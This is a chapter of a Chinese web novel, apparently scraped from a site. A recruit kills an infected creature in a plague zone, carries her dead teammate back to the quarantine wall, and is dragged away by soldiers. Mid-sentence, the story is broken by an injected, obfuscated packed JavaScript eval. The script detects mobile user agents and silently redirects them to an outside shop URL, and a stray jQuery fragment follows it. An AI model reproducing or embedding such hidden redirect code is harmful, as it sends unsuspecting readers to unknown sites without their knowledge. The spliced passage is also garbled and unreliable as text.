易青退回到温玉颜身侧,见她一动不动,心脏猛地颤了一下。
她别过头,不愿去看。
也或许是不愿相信。
易青动作很快,一把捞过药液箱,随后她快速脱下自己背着的,用尽全力,又一次朝着感染物砸过去。
整个人带着狠劲,也随之扑了过去,手中死死握着喷洒枪,将其塞入清洁刀造成的伤口处。
她咬牙,额角渗出冷汗,打湿了额发。
拇指按上枪身的按钮,下一秒,蓝色的清洁药液猛然倾泻而出。
药液效果很好,几乎是瞬间就侵入感染物,它的伤口周围滋滋作响,像是被放在火上烤了一般,随后腐肉化成血水,滴滴答答的往下流。
此时此刻,她跟感染物之间的距离极近。
感染物不死心,艰难地朝她伸出双手,想要撕开她的防护服。
易青没躲。
散碎的血肉混合着□□沾到了她的防护服上,她眼也没眨一下,拇指摁着按钮,用力到发白。
她的脑子里只剩下一个念头。
杀掉它!
蓝色药液拼命往里灌,不知过了多久,感染物彻底化作一滩血肉混合物,落在了血红土壤上,与之融为了一体。
易青看着,恍惚间好似明白了疫区内血水的由来。
药液箱见底,被她随手扔在一旁。
她大步跑回温玉颜身侧,随后毫不在意地跪下,抱起她的上半身。她的声音很轻,晃动着她的身体,“温玉颜、温玉颜……”
那人脑袋侧向一边,双手无力地垂下,动也不动。
易青眼眶泛红,毫无所觉,面罩下的神情有些难言的哀恸,指节冰凉,紧紧抓着温玉颜的肩膀。
半晌,她像是下定了某种决心,松开温玉颜,右手转而移向她胸口插着的那根钢筋。
她一用力,钢筋便轻易地从中抽了出来。
钢筋尾端滴着她的血,伤口处防护服破裂,血液洇湿了边缘,其下的血肉被疫病侵蚀,腐化成水。
这场景看着惨烈至极。
她不敢想象防护面罩下,温玉颜的表情该有多绝望。
在蚀骨般的疼痛中,感受着自己的身体一点一点地化成水,再流走。
她该有多痛苦。
易青抿着唇,手指用力到发白,钢筋被她狠狠丢在一边。
她捡起所有的装备,将它们复原,挂在手肘上,随后将温玉颜背起,艰难地朝来时的方向走去。
茫茫血色中,黑色的身影犹如一个耄耋老人,蹒跚着步子,双脚深深陷在土壤中,走得甚是艰难。
易青幼时没吃过什么好东西,因为父母,她受到虐待,经常吃不饱饭。饿得实在受不了,甚至会钻狗洞,与狗抢食。
营养跟不上她的生长发育,直至现在成年,身形也比常人消瘦得多。
她穿着厚重的防护服,手肘上挂着两个物资箱,背上背着温玉颜,就这样走着走着,小腿肚都开始不受控制地打颤。
易青咬紧牙关。
尽管她走得吃力,但是她也绝不会就此把她丢在疫区。
她知道,温玉颜想回家。
那她就带她回家。
温玉颜的身体被疫病无孔不入地侵蚀着,血液顺着破口滴滴答答地往下掉。
易青心里没来由地生出一股深深的厌恶。
她厌恶这个充斥着血色的世界。
无穷无尽的暴力、罪恶、污秽,是她终其一生也无法清理掉的。
她如同行尸走肉一般走着,耳鸣阵阵,脑中充斥着血腥的幻想。
防护服全方位包裹着温玉颜,她的尸体化作一滩恶心的液体,每时每刻都在往外流淌。
走到最后,她是不是会彻底流干净?流到只剩一身防护服?
易青不敢再想下去,眼中渐渐布满血丝,脚步在骤然间加快。
一级疫区是最简单的疫区,通常用作新人练手,因此离防疫区不远。
远远地,她看见了第四防疫区标志性的隔离墙。
浅灰色的隔离墙,隐隐可见其下的钢铁森林。
易青曾听救济所的人说过,这种墙是由特殊材料构成的,可过滤空气。但是因为这种特殊材料难找,所以就只用在防疫区和防护服上。
隔离墙所作用的范围通常只能覆盖一个城市,为了连接,联邦高层便派人在各个城市防护墙的边缘,修建了端口,以此来保证城市之间的联系。
易青眼睫轻颤,她能感觉到,温玉颜的身体越来越轻了。
她将温玉颜往上颠了颠,随后直奔端口而去。
端口处驻守着除疫军,他们成两列站在两侧,每个人都全副武装,时刻警惕着。
最中间站着一个身形健硕的男人,他腰间别着清洁刀,面罩下的脸布满了大大小小的伤疤,眼神锐利如同猎鹰。
汪铭神色严肃,正皱着眉看着手中拿着的怀表。
这个时间段,大多数新兵已经陆陆续续完成任务回来了,少数几个还在磨蹭。
他抬头,突然瞥见了远处一个黑色的身影。
汪铭眯着眼仔细瞧着,待到距离越来越近,他才猛然反应过来,这是新兵啊!只不过是一个人背着另一个人而已。
他内心升起一种强烈的不安,侧身招呼了两个人,随后大步离开端口,直奔易青而去。
几人都是在除疫军里混了好几年的,动作十分迅捷,几分钟就走到了她的面前。
汪铭皱眉,上上下下的扫视了一番,心里隐隐地有了个大概,但还是问她:“怎么回事?”
易青早就注意到了这伙人,只是没想到他们能来得这么快。
她背上背着队友,防护服沾着血水,看着狼狈得很。
汪铭身后那两人连忙接过易青手中的东西,正要伸手去扯温玉颜,易青却忽然躲开了。
那人疑惑地看向她。
半晌,她才沉沉吐出一口气,声音沙哑:“她死了。”
话音落下,顿时一片死寂。
汪铭也不知该说些什么,死亡对于他们来说,已经是家常便饭了。但是这些年轻人不一样,她们是第一次进疫区,接受不了也是很正常的。
他自认为算是比较有人情味,也不会因此去严肃批评她。
汪铭叹了口气,拍了拍易青的肩膀,“放下吧。”
除疫军内因为恐惧而精神错乱的人不少,内部也自有一种特殊手段。
他想了想,还是决定先劝劝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940053|213887||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她,过后大不了把人弄去那个地方。
他拍着拍着,忽然想起另一件事,“等等,一级疫区怎么会死人?”
易青闻言,轻嗤一声,冷冷看向汪铭,口中吐出来的每个字都带着刺,“我也想知道,为什么一级疫区里会有感染物?”
“感染物?”这回汪铭是真的被惊到了,随即飞快地意识到了这件事远比他想象的还要严重得多。
他沉着脸,转头吩咐旁边傻站着的两个人,“把人处理了,动作快点!”
两人得了命令,二话不说就将温玉颜从易青的身上扯了下来。她反抗不过,被扯得一踉跄,想再去抢回来,却见那身防护服正啪嗒啪嗒地往下掉东西。
鲜红的、发着粉的……
冲击太大,谁都没想到。
易青再也承受不住,她神情恍惚,浑身一软就跌坐在地上,挣扎着要去捞那些不堪入目的东西。
汪铭死死拽住她,“把她放这,待会让人来处理,先把这个活着的带回去。”他脸色很不好看,没料到那个新兵竟然被感染了。
防护服轻飘飘落在地上,像一个漏了气的气球。
易青看着看着,眼眶骤然间湿润了,泪水划过脸颊,滴在她的锁骨上,冷锐得像一根针扎过。
她听懂了汪铭的言外之意。
“带她回去啊!带她回去啊!”
她癫狂着要去抱起那件防护服,猛然爆发的力量竟然连汪铭三人都抵不过。
他们一狠心,强硬地将易青拖走,她的手悬在空中,不停地张张合合,身体却是无力地被人拉着拖行。
血水疯狂溅起,沾满了全身。
易青觉得心脏钝痛,她喉中溢出血腥味,声嘶力竭:“你们怎么能让她一个人在这!”
“她死了,你冷静点!”其中一个人沉声,有些不忍。
“她是为了什么才死的?!”
易青趴在地上,视窗一点一点地被血水沾满,就这样看着温玉颜的防护服离她越来越远,渐渐地被血色淹没。
她忍不住蜷缩自己的身体,口中喃喃:“……她是为了墙内的所有人才进入疫区的啊。”
为什么不让她回家?
怎么就回不了家?
抓着她的三个人沉默,他们见过太多同她一样的人了。此时最好的做法就是闭上嘴,不要再刺激她。
几人去的快,回来的也快,原先在端口远远注视的两列军人见他们回来,都忍不住探头,但目光一触即到地上被拖着走的那个,便瞬间明白了什么。
两两相望,目光中都有了一丝了然。
新兵都是两人组队的,既然只带回了一个,那么另一个就不必多说了。
同情的目光纷纷落在易青身上,她只觉得像有千万把刀在捅穿她的心脏。
她一点都不值得怜悯。
她就是个灾星。
只会害死别人的灾星。
易青面如死灰,摊在地上一动不动。
汪铭点了几个人出来,吩咐任务,此时端口处又接连走进来几名新兵,见这一幕,皆是不约而同地沉默下来。
“带她去军区医院,记得消毒后再去。”
汪铭默了默,又道:“先带去做记录。”